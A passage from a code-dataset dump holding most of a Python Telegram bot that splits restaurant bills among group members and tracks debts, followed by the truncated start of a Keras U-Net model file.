currentAmount = re.sub(r\"[^\\d.]+\", \"\", str(tempSplitItem))\n if (isValidAmount(currentAmount)):\n newAmount = getFormattedAmountFromString(float(currentAmount) * 1.07)\n newItem = newItem.replace('$%s' % str(currentAmount), '$%s' % newAmount, 1)\n newTextList.append(newItem + '\\n')\n \n newMessage = ''.join(newTextList)\n\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=newMessage,\n reply_markup=query.message.reply_markup\n )\n \n \ndef splitSVC(update, context):\n query = update.callback_query\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n text = query.message.text\n textList = text.split('\\n')\n newTextList = []\n\n if not userIsCreditorForMessage(message_id, chat_id, userID):\n return\n\n if ' SVC:' in text:\n for itemWithoutPara in textList:\n newItem = itemWithoutPara\n if 'People paying for ' in itemWithoutPara:\n if 'w/ GST' in itemWithoutPara:\n newItem = itemWithoutPara.replace(' and SVC:', ':', 1)\n else:\n newItem = itemWithoutPara.replace(' w/ SVC:', ':', 1)\n tempSplitList = itemWithoutPara.split('-')\n tempSplitItem = tempSplitList[len(tempSplitList) - 1]\n if len(tempSplitList) > 0 and tempSplitList[0] != '':\n currentAmount = re.sub(r\"[^\\d.]+\", \"\", str(tempSplitItem))\n if (isValidAmount(currentAmount)):\n newAmount = getFormattedAmountFromString(float(currentAmount) / 1.1)\n newItem = newItem.replace('$%s' % str(currentAmount), '$%s' % newAmount, 1)\n newTextList.append(newItem + '\\n')\n else:\n for itemWithoutPara in textList:\n newItem = itemWithoutPara\n if 'People paying for ' in itemWithoutPara:\n if 'w/ GST:' in itemWithoutPara:\n newItem = itemWithoutPara.replace(':', ' and SVC:', 1)\n else:\n newItem = itemWithoutPara.replace(':', ' w/ SVC:')\n tempSplitList = itemWithoutPara.split('-')\n tempSplitItem = tempSplitList[len(tempSplitList) - 1]\n if len(tempSplitList) > 0 and tempSplitList[0] != '':\n currentAmount = re.sub(r\"[^\\d.]+\", \"\", str(tempSplitItem))\n if (isValidAmount(currentAmount)):\n newAmount = getFormattedAmountFromString(float(currentAmount) * 1.1)\n newItem = newItem.replace('$%s' % str(currentAmount), '$%s' % newAmount, 1)\n newTextList.append(newItem + '\\n')\n \n newMessage = ''.join(newTextList)\n\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=newMessage,\n reply_markup=query.message.reply_markup\n )\n \n\ndef splitUnevenlyNextItem(update, context):\n query = update.callback_query\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n if not (userIsCreditorForMessage(message_id, chat_id, userID)):\n return\n orderID = getOrderIDFromUserIDAndGroupID(userID, chat_id)\n orderName = getOrderNameFromOrderID(orderID)\n text = query.message.text\n textList = text.split('\\n')\n itemToRemove = ''\n for item in textList:\n if 'People paying for ' in item:\n itemToRemove = item\n \n itemToRemovePosition = textList.index(itemToRemove)\n itemsLeftToSplitTitlePosition = textList.index('Items left to split:')\n count = -1\n userListToAdd = []\n for item in textList:\n count += 1\n if count <= itemToRemovePosition:\n continue\n else:\n userListToAdd.append(item)\n\n numOfUsersToAdd = len(userListToAdd)\n if numOfUsersToAdd < 1:\n return\n \n currentSplitList = []\n cleanAmountList = itemToRemove.split('(')\n cleanAmount = cleanAmountList[len(cleanAmountList) - 1]\n amountBeforeSplit = float(re.sub(r\"[^\\d.]+\", \"\", cleanAmount))\n amountAfterSplit = amountBeforeSplit / numOfUsersToAdd\n\n count = -1\n for item in textList:\n count += 1\n if count < itemsLeftToSplitTitlePosition and count != 0 and item != '':\n currentSplitList.append(item)\n else:\n continue\n for userToAdd in userListToAdd:\n inside = False\n for splitUser in currentSplitList:\n if userToAdd in splitUser:\n splitUserPosition = currentSplitList.index(splitUser)\n inside = True\n splitUserList = splitUser.split('-')\n tempSplitUser = splitUserList[len(splitUserList) - 1]\n currentAmount = float(re.sub(r\"[^\\d.]+\", \"\", tempSplitUser))\n\n newAmount = getFormattedAmountFromString(currentAmount + amountAfterSplit)\n print(newAmount)\n currentSplitList[splitUserPosition] = userToAdd + ' - $' + newAmount\n if not inside:\n currentSplitList.append(userToAdd + ' - $' + getFormattedAmountFromString(amountAfterSplit))\n itemList = []\n count = -1\n for item in textList:\n count += 1\n if count > itemsLeftToSplitTitlePosition and count < itemToRemovePosition and item != '':\n itemList.append(item)\n numOfItemsLeft = len(itemList)\n last = numOfItemsLeft < 1\n \n \n if not last:\n nextItem = itemList.pop(0)\n newItemList = []\n for item in itemList:\n newItemList.append(item + '\\n')\n itemListString = ''.join(newItemList)\n newSplitUserList = []\n for splitUser in currentSplitList:\n newSplitUserList.append(splitUser + '\\n')\n splitUserString = ''.join(newSplitUserList)\n messageText = 'Current split for %s:\\n%s\\nItems left to split:\\n%s\\nPeople paying for %s:' % (orderName, splitUserString, itemListString, nextItem)\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=messageText,\n reply_markup=splitUnevenlyKeyboardMarkup(chat_id, last)\n )\n else:\n newSplitUserList = []\n totalAmount = float(0)\n for splitUser in currentSplitList:\n newSplitUserList.append(splitUser + '\\n')\n tempSplitUserList = splitUser.split('-')\n tempSplitUser = tempSplitUserList[len(tempSplitUserList) - 1]\n currentAmount = float(re.sub(r\"[^\\d.]+\", \"\", tempSplitUser))\n totalAmount += currentAmount\n formattedTotal = getFormattedAmountFromString(totalAmount)\n splitUserString = ''.join(newSplitUserList)\n messageText = 'People paying for %s:\\n%s\\nTotal: $%s' % (orderName, splitUserString, formattedTotal)\n context.bot.editMessageText(\n chat_id=chat_id,\n text=messageText,\n message_id=message_id,\n reply_markup=splitUnevenlyKeyboardMarkup(chat_id, last),\n )\n\n\ndef editUnevenlyMessageIndividual(update, context):\n query = update.callback_query\n debtorID = query.data.replace('splitunevenlycallbackdata', '', 1)\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n \n if not (userIsCreditorForMessage(message_id, chat_id, userID)):\n return\n \n text = query.message.text\n textList = text.split('\\n')\n debtorName = getFirstName(debtorID)\n debtorUsername = getUsername(debtorID)\n debtorToAdd = debtorName + ' (@' + debtorUsername + ')'\n if debtorToAdd in textList:\n textList.remove(debtorToAdd)\n else:\n textList.append(debtorToAdd)\n newTextList = []\n for text in textList:\n newTextList.append(text + '\\n')\n\n newText = ''.join(newTextList)\n\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=newText,\n reply_markup=query.message.reply_markup\n )\n\ndef editSplitEvenlyAddEveryone(update, context):\n query = update.callback_query\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n text = query.message.text\n if not (userIsCreditorForMessage(message_id, chat_id, userID)):\n return\n \n userList = getAllUsersFromGroup(chat_id)\n listOfUsersWithNameAndUsername = []\n \n for user in userList:\n username = getUsername(user)\n firstName = getFirstName(user)\n entry = '\\n' + firstName + ' (@' + username + ')'\n if entry not in text:\n listOfUsersWithNameAndUsername.append(entry)\n \n newText = text + ''.join(listOfUsersWithNameAndUsername)\n \n if newText == text:\n return\n\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=newText,\n reply_markup=query.message.reply_markup\n )\n\ndef editSplitUnevenlyAddEveryone(update, context):\n query = update.callback_query\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n text = query.message.text\n if not (userIsCreditorForMessage(message_id, chat_id, userID)):\n return\n \n # relevantHalf = text.split('People paying for ')[1]\n userList = getAllUsersFromGroup(chat_id)\n listOfUsersWithNameAndUsername = []\n \n splitByPara = text.split('\\n')\n\n for user in userList:\n username = getUsername(user)\n firstName = getFirstName(user)\n entry = firstName + ' (@' + username + ')'\n if entry not in splitByPara:\n listOfUsersWithNameAndUsername.append('\\n' + entry)\n \n newText = text + ''.join(listOfUsersWithNameAndUsername)\n\n if text == newText:\n return\n\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=newText,\n reply_markup=query.message.reply_markup\n )\n\n # text = query.message.text\n\n\n\ndef notifyUserFromPrivateMessage(update, context):\n query = update.callback_query\n transactionID = query.data.replace('notifydebtorcallbackdata', '', 1)\n\n lastNotifiedTime = getLastNotifiedTimeFromTransactionID(transactionID)\n currentTime = datetime.now(tz).replace(microsecond=0)\n to_add = timedelta(minutes=60)\n thresholdTime = lastNotifiedTime + to_add \n\n debtorID = getDebtorIDFromTransactionID(transactionID)\n creditorID = getCreditorIDFromTransactionID(transactionID)\n debtorName = getFirstName(debtorID)\n debtorUsername = getUsername(debtorID)\n orderID = getOrderIDFromTransactionID(transactionID)\n orderName = getOrderNameFromOrderID(orderID)\n orderDate = getOrderDateFromOrderID(orderID)\n formattedDate = orderDate.strftime(\"%d %B %Y\")\n groupID = getGroupIDFromOrder(orderID)\n groupName = getGroupNameFromGroupID(groupID)\n \n if not isNotifiable(debtorID):\n context.bot.send_message(\n chat_id=creditorID,\n text = '%s (@%s) is not notifiable.' % (debtorName, debtorUsername)\n )\n return\n\n if currentTime.replace(tzinfo=None) < thresholdTime.replace(tzinfo=None):\n timediff = currentTime.replace(tzinfo=None) - lastNotifiedTime.replace(tzinfo=None)\n timeTillNextSend = 60 - int(timediff.total_seconds()/60)\n context.bot.send_message(\n chat_id=creditorID,\n text = 'You have notified %s (@%s) too recently for %s on %s in %s. Please try again in %s minutes!' % (debtorName, debtorUsername, orderName, formattedDate, groupName, timeTillNextSend)\n ) \n return \n updateLastNotifiedTimeWithTransactionID(transactionID, currentTime)\n\n creditorName = getFirstName(creditorID)\n creditorUsername = getUsername(creditorID)\n amountOwed = getAmountOwedFromTransactionID(transactionID)\n formattedAmount = getFormattedAmountFromString(amountOwed)\n\n context.bot.send_message(\n chat_id=debtorID,\n text='Hi %s! Your friend %s (@%s) from the group %s is asking you to return them their $%s for %s %s.' % (debtorName, creditorName, creditorUsername,groupName, formattedAmount, orderName, formattedDate)\n )\n context.bot.send_message(\n chat_id=creditorID,\n text='%s (@%s) has been notified to return $%s for %s in %s' % (debtorName, debtorUsername, formattedAmount, orderName, groupName)\n )\n\ndef updateOrderMessageAsSettledWhenTransactionSettled(transactionID):\n if transactionAlreadySettled(transactionID):\n return\n bot = Bot(TOKEN)\n orderID = getOrderIDFromTransactionID(transactionID)\n debtorID = getDebtorIDFromTransactionID(transactionID)\n messageID = getMessageIDFromOrder(orderID)\n groupID = getGroupIDFromOrder(orderID)\n \n debtorName = getFirstName(debtorID)\n debtorUsername = getUsername(debtorID)\n entry = '%s (@%s)' % (debtorName, debtorUsername)\n\n isEven = orderIsEvenlySplit(orderID)\n\n placeholderGroupMessage = bot.forward_message(\n chat_id = -528685244,\n from_chat_id=groupID,\n message_id=messageID,\n )\n text = placeholderGroupMessage.text\n\n textList = text.split('\\n')\n\n newTextList =[]\n for item in textList:\n if entry in item:\n continue\n else:\n newTextList.append(item + '\\n')\n\n newText = ''.join(newTextList)\n\n reply_markup = ''\n\n if isEven:\n reply_markup = splitEvenlyFinalisedKeyboardMarkup()\n else:\n reply_markup = splitUnevenlyFinalisedKeyboardMarkup()\n \n bot.editMessageText(\n chat_id=groupID,\n message_id=messageID,\n text=newText,\n reply_markup=reply_markup,\n )\n \n\ndef settleDebtForCreditor(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n text = query.message.text\n\n transactionID = query.data.replace('settledebtforcreditor', '', 1)\n updateTransactionAsSettledWithTransactionID(transactionID)\n updateOrderMessageAsSettledWhenTransactionSettled(transactionID)\n\n unsettledTransactions = getUnsettledTransactionsForCreditor(userID)\n keyboardMarkup = formatTransactionsForCreditorKeyboardMarkup(unsettledTransactions)\n if (keyboardMarkup!=None):\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=text,\n reply_markup = keyboardMarkup\n )\n else:\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text='All debts settled! You have such responsible friends... Unlike me ):'\n )\n\ndef settleDebtForDebtor(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n text = query.message.text\n\n transactionID = query.data.replace('settledebtfordebtor', '', 1)\n try:\n updateTransactionAsSettledWithTransactionID(transactionID)\n updateOrderMessageAsSettledWhenTransactionSettled(transactionID)\n finally:\n unsettledTransactions = getUnsettledTransactionsForDebtor(userID)\n keyboardMarkup = formatTransactionsForDebtorKeyboardMarkup(unsettledTransactions)\n\n if (keyboardMarkup!=None):\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=text,\n reply_markup=keyboardMarkup\n )\n else:\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text='All debts settled! How responsible of you...'\n )\n \n\ndef editMessageForSplitEvenly(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n text = query.message.text\n\n if not (userIsCreditorForMessage(message_id, chat_id, userID)):\n return\n \n debtorID = query.data.replace('splitevenlycallbackdata', '', 1)\n debtorUsername = getUsername(debtorID)\n debtorName = getFirstName(debtorID)\n entry = debtorName + ' (@' + debtorUsername + ')'\n \n if entry in text:\n text = text.replace('\\n' + entry, '', 1)\n else:\n text = text + '\\n' + entry\n \n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=text,\n reply_markup=query.message.reply_markup,\n )\n\n \ndef debtorEvenlyPaid(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n username = query.from_user.username\n debtorID = query.from_user.id\n text = query.message.text\n debtorName = getFirstName(debtorID)\n entry = '%s (@%s)' % (debtorName, username)\n textList = text.split('\\n')\n newTextList = []\n\n creditorID = getCreditorIDFromMessageAndGroupID(message_id, chat_id)\n\n if str(creditorID) == str(debtorID):\n return\n\n for item in textList:\n if entry in item:\n continue\n else:\n newTextList.append(item + '\\n')\n\n textAfterRemove = ''.join(newTextList)\n\n orderID = getOrderIDFromMessageAndGroupID(message_id, chat_id)\n \n\n if textAfterRemove != text:\n markTransactionAsSettled(creditorID, debtorID, orderID)\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=textAfterRemove,\n reply_markup=query.message.reply_markup\n )\n \n return None\n\ndef debtorEvenlyUnpaid(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n username = query.from_user.username\n debtorID = query.from_user.id\n debtorName = getFirstName(debtorID)\n text = query.message.text\n creditorID = getCreditorIDFromMessageAndGroupID(message_id, chat_id)\n\n if str(creditorID) == str(debtorID):\n return\n entry = '%s (@%s)' % (debtorName, username)\n textList = text.split('\\n')\n newTextList = []\n for item in textList:\n if entry in item:\n return\n else:\n newTextList.append(item + '\\n')\n\n newTextList.append(entry + '\\n')\n textAfterAdd = ''.join(newTextList)\n\n orderID = getOrderIDFromMessageAndGroupID(message_id, chat_id)\n creditorID = getCreditorIDFromMessageAndGroupID(message_id, chat_id)\n\n if textAfterAdd != text:\n markTransactionAsUnsettled(creditorID, debtorID, orderID)\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=textAfterAdd,\n reply_markup=query.message.reply_markup\n )\n\n return None\n \n\ndef groupRegister(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n groupname = query.message.chat.title\n message_id = query.message.message_id\n group = (chat_id, groupname)\n if (groupAlreadyAdded(chat_id)):\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=\"Your group has already been registered with us.\"\n )\n else:\n addGroup(group)\n print('donkey')\n context.bot.editMessageText(\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n text=\"Your group is now registered!\\n\\nBegin splitting bills by sending a message starting with @OwePay_bot followed by the name of the bill. For example:\\n\\n@OwePay_bot Assorted Sausages\\n\\nDue to the nature of Telegram Bots, our bot will only be able to detect users if they have either sent a message in the group after I've been added or users added after me!\",\n )\n\n\n\ndef splitEvenly(update, context):\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n text = query.message.text\n date = datetime.now(tz).replace(microsecond=0)\n\n if not (userIsCreditorForMessage(message_id, groupID, userID)):\n return\n \n totalAmount = getUserTempAmount(userID, groupID)\n listOfUsers = tuple(text.replace(\"People who have your cash money:\\n\", \"\", 1).replace(\"\\n\",\",\",text.count(\"\\n\")).split(','))\n numberOfUsers = len(listOfUsers)\n\n if numberOfUsers == 0:\n return\n \n listOfUsernames = []\n for user in listOfUsers:\n tempList = []\n tempList.append(user.split('@')[1])\n for tempItem in tempList:\n listOfUsernames.append(tempItem.split(')')[0])\n \n\n splitAmount = totalAmount / numberOfUsers\n orderID = getOrderIDFromUserIDAndGroupID(userID, groupID)\n orderName = getOrderNameFromOrderID(orderID)\n creditorUsername = getUsername(userID)\n creditorName = getFirstName(userID)\n \n listOfUserID = getUserIDListFromUsernameList(listOfUsernames)\n\n if len(listOfUserID) < 1:\n return\n \n setUserStateInactive(userID, groupID)\n resetUserTempAmount(userID, groupID)\n resetUserTempOrderID(userID, groupID)\n resetUserTempMessageID(userID, groupID)\n\n messageText = \"Please return @%s $%s each for %s\" % (creditorUsername, getFormattedAmountFromString(splitAmount), orderName)\n for username in listOfUsers:\n messageText = messageText + '\\n' + username\n\n if \"%s (@%s)\" % (creditorName, creditorUsername) in messageText:\n messageText = messageText.replace(\"\\n%s (@%s)\" % (creditorName, creditorUsername), \"\", 1)\n\n orderMessage = context.bot.editMessageText(\n chat_id=update.effective_chat.id,\n message_id=message_id,\n text=messageText,\n reply_markup=splitEvenlyFinalisedKeyboardMarkup(),\n )\n order = Order(orderID, groupID, orderName, splitAmount, userID, date)\n messageID = orderMessage.message_id\n addMessageIDToOrder(str(orderID), messageID)\n createTransactionBetweenSomeUsers(order, listOfUserID)\n\n\ndef splitDifferentAmounts(update, context, userID, groupID):\n textString = update.message.text\n textStringWithoutParagraphs = textString.split('\\n')\n textListSeparated = []\n messageID = update.message.message_id\n itemList = []\n orderID = getOrderIDFromUserIDAndGroupID(userID, groupID)\n orderName = getOrderNameFromOrderID(orderID)\n for text in textStringWithoutParagraphs:\n tempText = text.split ('-')\n tempList = []\n for t in tempText:\n tempList.append(removeCrustFromString(t))\n textListSeparated.append(tempList)\n for item in textListSeparated:\n tempList = []\n if len(item) != 2 or not isValidAmount(item[1]):\n context.bot.send_message(\n chat_id=groupID,\n reply_to_message_id=messageID,\n text='Please send your order in a valid format!'\n )\n return\n tempList.append(item[0])\n if (isValidAmount(item[1])):\n tempList.append(getFormattedAmountFromString(item[1]))\n else:\n context.bot.send_message(\n chat_id=groupID,\n reply_to_message_id=messageID,\n text='%s is not a valid amount' % (item[1])\n )\n itemList.append(tempList)\n\n firstItem = itemList.pop(0)\n firstItemString = firstItem[0] + ' ($' + firstItem[1] + ')'\n itemListString = itemListToString(itemList)\n messageText = 'Current split for %s:\\n\\nItems left to split:%s\\n\\nPeople paying for %s:' % (orderName, itemListString, firstItemString)\n orderMessage = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=messageText,\n reply_markup=splitUnevenlyKeyboardMarkup(groupID, False)\n )\n print(splitUnevenlyKeyboardMarkup(groupID, False))\n messageID = orderMessage.message_id\n addMessageIDToOrder(orderID, messageID)\n setUserStateInactive(userID, groupID)\n return orderMessage\n \ndef getTotalAmountFromMessage(update, context):\n chat_message=update.message.text\n value = int(''.join(filter(str.isdigit, chat_message)))\n total_amount = float(value/100)\n return total_amount\n\n\n#############################\n# when split among us is called this will update regisfter the userid and the\n# amount of money\n##############\n\n\ndef getOrderNameFromMessage(update):\n text = update.message.text\n return str(text.split('New Order: ')[1])\n\ndef messageContainsNewOrder(update, context):\n if \"New Order:\" in update.message.text: \n orderName = getOrderNameFromMessage(update)\n user_id = update.message.from_user.id\n GroupID = update.message.chat_id\n updateUserStateNewOrder(user_id, GroupID)\n updateOrderIDToUserGroupRelational(user_id, GroupID, orderName)\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"Please choose if you wish to split %s evenly or unevenly\" % orderName,\n reply_markup=waitingForUserToChooseSplitKeyboardMarkup()\n )\n updateMessageIDToUserGroupRelational(user_id, GroupID, message.message_id)\n return message\n\ndef catchSplitEvenlyOrderFromUpdate(update):\n order_id = str(uuid1())\n user_id = update.message.from_user.id\n group_id = update.message.chat_id\n order_amount= update.message.text.replace('$', '', 1)\n date = datetime.now(tz).replace(microsecond=0)\n order_name = getOrderIDFromUserIDAndGroupID(user_id, group_id)\n addOrder((order_id, group_id, order_name, order_amount, user_id, date))\n return Order(order_id, group_id, order_name, order_amount, user_id, date)\n\ndef catchSplitUnevenlyOrder(user_id, group_id):\n order_id = str(uuid1())\n order_amount = 0\n date = datetime.now(tz).replace(microsecond=0)\n order_name = getOrderIDFromUserIDAndGroupID(user_id, group_id)\n addOrder((order_id, group_id, order_name, order_amount, user_id, date))\n return Order(order_id, group_id, order_name, order_amount, user_id, date)\n\n\ndef waitingForSomeNames(update, context, user_id, group_id):\n order = catchSplitEvenlyOrderFromUpdate(update)\n orderID = order.orderID\n orderAmount = order.orderAmount\n updateUserTempAmount(user_id, group_id, orderAmount)\n updateUserStateWaitingForSomeNames(user_id, group_id)\n updateOrderIDToUserGroupRelational(user_id, group_id, orderID)\n\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text='People who have your cash money:',\n reply_markup=splitEvenlyKeyboardMarkup(update.effective_chat.id)\n )\n messageID = message.message_id\n addMessageIDToOrder(orderID, messageID)\n return message\n\ndef createTransactionBetweenSomeUsers(order, userIDList):\n creditorID = order.creditorID\n orderID = order.orderID\n users = userIDList\n splitAmount = order.orderAmount\n date = order.date\n\n for userID in users:\n if str(userID) == str(creditorID):\n None\n else:\n transaction_id = str(uuid1())\n addTransaction((transaction_id, orderID, splitAmount, creditorID, userID, date))\n\n return UsersAndSplitAmount(users, splitAmount)\n\n\n\n#order123 = (\"b62aa85b-cb98-11eb-baef-d0509938caba\",-524344128,'thai food',123.45,339096917)\n#createTransactionbetweenallusers(order123)\n\ndef groupDontRegister(update, context):\n query = update.callback_query\n context.bot.editMessageText(\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n text=\n \"Thank you for your interest in our bot! We hope to see you soon!\\n\\n\" +\n \"If you ever feel like registering your Group with our bot in the future,\" +\n \" simply run /start to get started!\",\n )\n\ndef userRegister(update, context):\n query = update.callback_query\n chat_id = query.message.chat_id\n username = query.message.chat.username\n message_id = query.message.message_id\n firstname = query.message.chat.first_name\n user = (chat_id, username, 1, firstname)\n if (userAlreadyAdded(chat_id)):\n if not(isNotifiable(chat_id)):\n makeNotifiable(chat_id)\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=\"You are now registered!\\n\\nAdd this bot to your telegram groups to split bills among your friends! Bills can be split by sending a message starting with @OwePay_bot followed by the name of the order after registering the bot in the group with the /start command. For example:\\n\\n@OwePay_bot Assorted Meats\\n\\nDue to the nature of Telegram Bots, our bot will only be able to detect users if they have either sent a message in the group after I've been added or users added after me!\",\n )\n else:\n context.bot.editMessageText(\n chat_id=chat_id,\n message_id=message_id,\n text=\"You have already been registered with us.\",\n )\n else:\n addUser(user)\n context.bot.editMessageText(\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n text=\"You are now registered!\\n\\nAdd this bot to your telegram groups to split bills among your friends! Bills can be split by sending a message starting with @OwePay_bot followed by the name of the order after registering the bot in the group with the /start command. For example:\\n\\n@OwePay_bot Assorted Meats\\n\\nDue to the nature of Telegram Bots, our bot will only be able to detect users if they have either sent a message in the group after I've been added or users added after me!\",\n )\n\ndef userDontRegister(update, context):\n query = update.callback_query\n context.bot.editMessageText(\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n text=\n \"Thank you for your interest in our bot! We hope to see you soon!\\n\\n\" +\n \"If you ever feel like registering with our bot in the future, simply run /start\" +\n \" to get started!\",\n )\n#############################\n# checks if msg is sent from a bot\n##############\ndef viabot_check(update, context):\n return (update.message.via_bot!=None and str(update.message.via_bot.id) == str(BOT_ID))\n\n# def echo(update: Update, _: CallbackContext) -> None:\ndef echo(update, context):\n \"\"\"Echo the update for debugging purposes.\"\"\"\n print(update)\n\ndef askUserToSendValidAmount(update, context):\n group_id = update.message.chat_id\n user_id = update.message.from_user.id\n text = update.message.text\n message = context.bot.send_message(\n chat_id=group_id,\n text=\"%s is not a valid amount.\\n\\nPlease key in a valid amount e.g $123, 123, 123.10 or /cancel to stop the creation of the order.\" % text\n )\n return message\n\ndef groupMemberScanner(update, context):\n \"\"\"\"Constantly monitors group chat to check if members are counted in the group or not\"\"\"\n group_id = update.message.chat_id\n message_id = update.message.message_id\n user_id = update.message.from_user.id\n username = update.message.from_user.username\n firstname = update.message.from_user.first_name\n \n if len(update.message.new_chat_members) > 0:\n for newMember in update.message.new_chat_members:\n if newMember.is_bot:\n continue\n newUserID = newMember.id\n addUserToGroup(newUserID, group_id)\n if not userAlreadyAdded(newUserID):\n newUsername = newMember.username\n newFirstname = newMember.first_name\n user = (newUserID, newUsername, 0, newFirstname)\n addUser(user)\n \n if update.message.left_chat_member != None:\n print(update.message.left_chat_member.id)\n leftMember = update.message.left_chat_member\n leftMemberID = leftMember.id\n if userInGroup(leftMemberID, group_id):\n deleteUserFromGroup(leftMemberID, group_id)\n if not userAlreadyAdded(leftMemberID):\n leftUsername = leftMember.username\n leftFirstname = leftMember.first_name\n user = (leftMemberID, leftUsername, 0, leftFirstname)\n addUser(user)\n\n if not(userAlreadyAdded(user_id)):\n user = (user_id, username, 0, firstname)\n addUser(user)\n\n\n if not(userInGroup(user_id, group_id)):\n increaseGroupMemberCount(group_id)\n addUserToGroup(user_id, group_id)\n \n\n if not(groupAlreadyAdded(group_id)):\n return 'Group with id %s not added' % group_id\n \n if userStateSplitEvenly(user_id, group_id):\n text = update.message.text\n if isValidAmount(text):\n waitingForSomeNames(update, context, user_id, group_id)\n return \"User %s has state 'splitevenly'\" % user_id\n else:\n askUserToSendValidAmount(update, context)\n return \"User %s sending invalid amount\" % user_id\n\n if userStateSplitUnevenly(user_id, group_id):\n splitDifferentAmounts(update, context, user_id, group_id)\n return \"User %s has state 'splitunevenly'\" % user_id\n\n if viabot_check(update, context):\n bot = update.message.via_bot.id\n messageContainsNewOrder(update, context)\n return \"Bot found %s\" % bot\n\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n updater = Updater(\n TOKEN, use_context=True)\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # on different commands - answer in Telegram\n dp.add_handler(CommandHandler(\"start\", startGroup, Filters.chat_type.groups))\n dp.add_handler(CommandHandler(\"start\", startPrivate, Filters.chat_type.private))\n dp.add_handler(CommandHandler(\"whoowesme\", getDebtors, Filters.chat_type.private))\n dp.add_handler(CommandHandler(\"whomeowes\", getCreditors, Filters.chat_type.private))\n dp.add_handler(CommandHandler(\"help\", help))\n dp.add_handler(CommandHandler(\"cancel\", cancel, Filters.chat_type.groups))\n dp.add_handler(CallbackQueryHandler(button))\n dp.add_handler(InlineQueryHandler(inline))\n #dp.add_handler(MessageHandler(Filters.chat_type.groups, echo))\n dp.add_handler(MessageHandler(Filters.chat_type.groups, groupMemberScanner))\n dp.add_handler(ConversationHandler(\n [\n CommandHandler(\"scanreceipt\", scanReceiptPrivateMessage)\n ], \n {\n \"waitingonpicprivate\": [CommandHandler(\"cancelreceipt\", cancelReceipt), MessageHandler(Filters.chat_type.private, scanReceiptPrivatePicture)],\n\n }, \n [\n CommandHandler(\"cancelreceipt\", cancelReceipt)\n ],\n allow_reentry=True\n ))\n\n # log all errors\n dp.add_error_handler(error)\n\n updater.start_webhook(listen=\"0.0.0.0\",\n port=PORT,\n url_path=TOKEN,\n webhook_url=\"https://owepaybot.herokuapp.com/\" + TOKEN)\n # updater.start_polling()\n updater.idle()\n\nif __name__ == '__main__':\n main()\n","sub_path":"owepaybot.py","file_name":"owepaybot.py","file_ext":"py","file_size_in_byte":54362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"540601629","text":"import numpy as np\nfrom keras.layers import Conv2D, MaxPooling2D, UpSampling2D, Add, Multiply\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.core import SpatialDropout2D, Activation\nfrom keras import backend as K\nimport tensorflow as tf\nfrom keras.layers.merge import concatenate\nfrom keras import Sequential\nfrom keras.layers import Lambda\n# Number of output masks (1 in case you predict only one type of objects)\nINPUT_CHANNELS = 3\n# Pretrained weights\n\ndef double_conv_layer(x, size, dropout=0.0, batch_norm=True):\n if K.image_dim_ordering() == 'th':\n axis = 1\n else:\n axis = 3\n conv = Conv2D(size, (3, 3), padding='same',)(x)\n if batch_norm is True:\n conv = BatchNormalization(axis=axis)(conv)\n conv = Activation('relu')(conv)\n conv = Conv2D(size, (3, 3), padding='same')(conv)\n if batch_norm is True:\n conv = BatchNormalization(axis=axis)(conv)\n conv = Activation('relu')(conv)\n if dropout > 0:\n conv = SpatialDropout2D(dropout)(conv)\n return conv\ndef UpSampling2DBilinear(stride, **kwargs):\n def layer(x):\n input_shape = K.int_shape(x)\n output_shape = (stride * input_shape[1], stride * input_shape[2])\n return tf.image.resize_bilinear(x, output_shape, align_corners=True)\n return Lambda(layer, **kwargs)\n\n\ndef dsv(x, size,scale_factor, dropout=0.0, batch_norm=True):\n if K.image_dim_ordering() == 'th':\n axis = 1\n else:\n axis = 3\n conv = Conv2D(size, (3, 3), padding='same')(x)\n if batch_norm is True:\n conv = BatchNormalization(axis=axis)(conv)\n conv = Activation('relu')(conv)\n conv = Conv2D(size, (3, 3), padding='same')(conv)\n if batch_norm is True:\n conv = BatchNormalization(axis=axis)(conv)\n conv = 